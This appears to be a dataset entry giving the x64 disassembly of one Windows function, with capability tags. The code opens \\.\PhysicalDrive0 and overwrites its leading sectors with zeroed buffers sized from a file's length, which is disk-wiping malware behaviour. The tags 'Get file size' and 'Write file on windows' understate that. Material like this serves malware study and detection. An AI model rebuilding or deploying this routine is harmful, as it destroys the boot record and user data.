Function at 0x140001200
Capabilities:
Get file size
Write file on windows

Disassembly:
push rdi
push r13
push r15
sub rsp, 0x80
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x60], rax
mov rdi, rcx
mov edx, 0xffffffff
mov rcx, qword [0x140005660]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor r13d, r13d
xor r9d, r9d
mov qword [rsp + 0x30], r13
mov edx, 0x80000000
mov dword [rsp + 0x28], r13d
mov rcx, rdi
mov dword [rsp + 0x20], 3
lea r8d, [r13 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov r15, rax
cmp rax, 0xffffffffffffffff
je 0x140001433
xor eax, eax
mov qword [rsp + 0x38], r13
mov dword [rsp + 0x5c], eax
xorps xmm0, xmm0
mov qword [rsp + 0xb0], rbp
lea rax, [rsp + 0x40]
mov qword [rsp + 0x30], rax
xor r9d, r9d
lea rax, [rsp + 0x48]
mov qword [rsp + 0xb8], rsi
mov qword [rsp + 0x78], r12
xor r8d, r8d
mov dword [rsp + 0x28], 0x18
mov edx, 0x70000
mov rcx, r15
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x70], r14
mov dword [rsp + 0x48], r13d
movups xmmword [rsp + 0x4c], xmm0
mov dword [rsp + 0x40], r13d
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
je 0x1400013fa
mov r14d, dword [rsp + 0x5c]
xor edx, edx
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0xffffffff
je 0x1400013eb
dec eax
xor edx, edx
add eax, r14d
div r14d
mov esi, eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, r14d
lea edx, [r13 + 8]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbp, rax
test rax, rax
je 0x1400013dc
mov qword [rsp + 0x30], r13
lea r8d, [r13 + 2]
mov dword [rsp + 0x28], r13d
lea rcx, str..PhysicalDrive0
xor r9d, r9d
mov dword [rsp + 0x20], 3
mov edx, 0x40000000
mov qword [rsp + 0xa8], rbx
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1400013a0
mov edi, r13d
test esi, esi
je 0x140001395
xor r9d, r9d
xor r8d, r8d
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
lea r9, [rsp + 0x44]
mov qword [rsp + 0x20], r13
mov r8d, r14d
mov rdx, rbp
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
add rdi, r14
sub rsi, 1
jne 0x140001361
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1400013b4
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____CreateFileW__hDevice__Failed_With_Error:__d__n
call fcn.1400010d0
xor eax, eax
mov rdi, rbp
mov rcx, r14
rep stosb byte [rdi], al
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbp
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rbx, qword [rsp + 0xa8]
jmp 0x14000140e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.____HeapAlloc_Failed_With_Error:__d__n
jmp 0x140001407
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.____GetFileSize_Failed_With_Error:__d__n
jmp 0x140001407
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.____DeviceIoControl_Failed_With_Error:__d__n
mov edx, eax
call fcn.1400010d0
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r14, qword [rsp + 0x70]
mov r12, qword [rsp + 0x78]
mov rsi, qword [rsp + 0xb8]
mov rbp, qword [rsp + 0xb0]
jmp 0x140001447
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____CreateFileW__filePath__Failed_With_Error:__d__n
call fcn.1400010d0
mov rcx, qword [0x140005660]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.1400020e0
add rsp, 0x80
pop r15
pop r13
pop rdi
ret